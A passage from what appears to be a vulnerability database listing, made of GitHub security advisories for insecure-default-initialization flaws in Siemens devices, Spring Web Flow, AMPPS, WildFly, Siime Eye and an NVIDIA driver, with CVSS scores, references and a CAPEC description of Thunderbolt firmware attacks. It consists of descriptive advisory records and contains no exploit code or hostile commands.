  "details": "Affected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place.\nThis could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.",
  "id": "GHSA-fg9h-cf2h-vjrx",
  "modified": "2026-05-12T12:32:14Z",
  "published": "2026-05-12T12:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27662"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-387223.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FG9W-CFFM-PMH2

Vulnerability from github – Published: 2022-05-13 01:45 – Updated: 2022-07-01 17:02
VLAI
Summary
Insecure Default Initialization of Resource in Pivotal Spring Web Flow
Details

An issue was discovered in Pivotal Spring Web Flow through 2.4.4. Applications that do not change the value of the MvcViewFactoryCreator useSpringBinding property which is disabled by default (i.e., set to 'false') can be vulnerable to malicious EL expressions in view states that process form submissions but do not have a sub-element to declare explicit data binding property mappings.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.webflow:spring-webflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-4971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-01T17:02:04Z",
    "nvd_published_at": "2017-06-13T06:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Pivotal Spring Web Flow through 2.4.4. Applications that do not change the value of the MvcViewFactoryCreator useSpringBinding property which is disabled by default (i.e., set to \u0027false\u0027) can be vulnerable to malicious EL expressions in view states that process form submissions but do not have a sub-element to declare explicit data binding property mappings.",
  "id": "GHSA-fg9w-cffm-pmh2",
  "modified": "2022-07-01T17:02:04Z",
  "published": "2022-05-13T01:45:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-4971"
    },
    {
      "type": "WEB",
      "url": "https://jira.spring.io/browse/SWF-1700"
    },
    {
      "type": "WEB",
      "url": "https://pivotal.io/security/cve-2017-4971"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98785"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure Default Initialization of Resource in Pivotal Spring Web Flow"
}

GHSA-FGVC-9QMM-3R6H

Vulnerability from github – Published: 2026-03-06 15:31 – Updated: 2026-03-06 15:31
VLAI
Details

AMPPS 2.7 contains a denial of service vulnerability that allows remote attackers to crash the service by sending malformed data to the default HTTP port. Attackers can establish multiple socket connections and transmit invalid payloads to exhaust server resources and cause service unavailability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-25169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-06T13:15:58Z",
    "severity": "HIGH"
  },
  "details": "AMPPS 2.7 contains a denial of service vulnerability that allows remote attackers to crash the service by sending malformed data to the default HTTP port. Attackers can establish multiple socket connections and transmit invalid payloads to exhaust server resources and cause service unavailability.",
  "id": "GHSA-fgvc-9qmm-3r6h",
  "modified": "2026-03-06T15:31:29Z",
  "published": "2026-03-06T15:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25169"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45850"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ampps-denial-of-service-via-malformed-socket-connection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FJV6-J3P5-XVWR

Vulnerability from github – Published: 2024-11-07 18:31 – Updated: 2025-11-04 18:31
VLAI
Details

An issue was discovered in Siime Eye 14.1.00000001.3.330.0.0.3.14. It uses a default SSID value, which makes it easier for remote attackers to discover the physical locations of many Siime Eye devices, violating the privacy of users who do not wish to disclose their ownership of this type of device. (Various resources such as wigle.net can be use for mapping of SSIDs to physical locations.)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-11917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-07T18:15:15Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Siime Eye 14.1.00000001.3.330.0.0.3.14. It uses a default SSID value, which makes it easier for remote attackers to discover the physical locations of many Siime Eye devices, violating the privacy of users who do not wish to disclose their ownership of this type of device. (Various resources such as wigle.net can be use for mapping of SSIDs to physical locations.)",
  "id": "GHSA-fjv6-j3p5-xvwr",
  "modified": "2025-11-04T18:31:30Z",
  "published": "2024-11-07T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11917"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2024/Jul/14"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FMQ7-GH8V-MJVC

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-16 21:59
VLAI
Summary
WildFly vulnerable to Insecure Default Initialization of Resource
Details

A flaw was found in WildFly, where an attacker can see deployment names, endpoints, and any other data the trace payload may contain.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wildfly.bom:wildfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "27.0.0.Beta1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-1278"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-15T03:23:37Z",
    "nvd_published_at": "2022-09-13T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in WildFly, where an attacker can see deployment names, endpoints, and any other data the trace payload may contain.",
  "id": "GHSA-fmq7-gh8v-mjvc",
  "modified": "2022-09-16T21:59:13Z",
  "published": "2022-09-14T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1278"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2073401"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wildfly/boms"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/WFLY-16238"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WildFly vulnerable to Insecure Default Initialization of Resource"
}

GHSA-FMW6-8H3H-292C

Vulnerability from github – Published: 2026-05-26 18:31 – Updated: 2026-05-26 18:31
VLAI
Details

NVIDIA Display Driver for Linux contains a vulnerability in the Multi-Instance GPU (MIG) partition management, where an insecure default initialization of memory subsystem routing resources could lead to data corruption or a hang during partition reconfiguration. A successful exploit of this vulnerability might lead to denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-26T18:16:38Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA Display Driver for Linux contains a vulnerability in the Multi-Instance GPU (MIG) partition management, where an insecure default initialization of memory subsystem routing resources could lead to data corruption or a hang during partition reconfiguration. A successful exploit of this vulnerability might lead to denial of service.",
  "id": "GHSA-fmw6-8h3h-292c",
  "modified": "2026-05-26T18:31:49Z",
  "published": "2026-05-26T18:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24197"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5821"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24197"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.